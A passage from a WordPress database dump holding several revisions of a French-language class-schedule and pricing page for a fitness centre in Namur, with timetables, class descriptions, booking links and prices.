class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 07:58:24', '2014-08-31 07:58:24', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(443, 1, '2014-08-31 07:56:42', '2014-08-31 07:56:42', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\n\r\n&amp;nbsp;\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 07:56:42', '2014-08-31 07:56:42', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(453, 1, '2014-08-31 08:32:13', '2014-08-31 08:32:13', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Psychomotricité&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;Cardio&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX/Cardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Bootcamp&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\nCircuit Training : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\nCardio : Entraînement développant votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et pour perdre du poids (en complément avec un programme alimentaire) !\r\n\r\nTRX : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\nPsychomotricité : Séance réservée aux enfants de 3 à 6 ans.\r\n\r\nForce : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\nCore : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\nTRX/Cardio : Entraînement croisé entre le TRX et le cardio. Vous travaillerez ici votre endurance et votre renforcement musculaire global.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 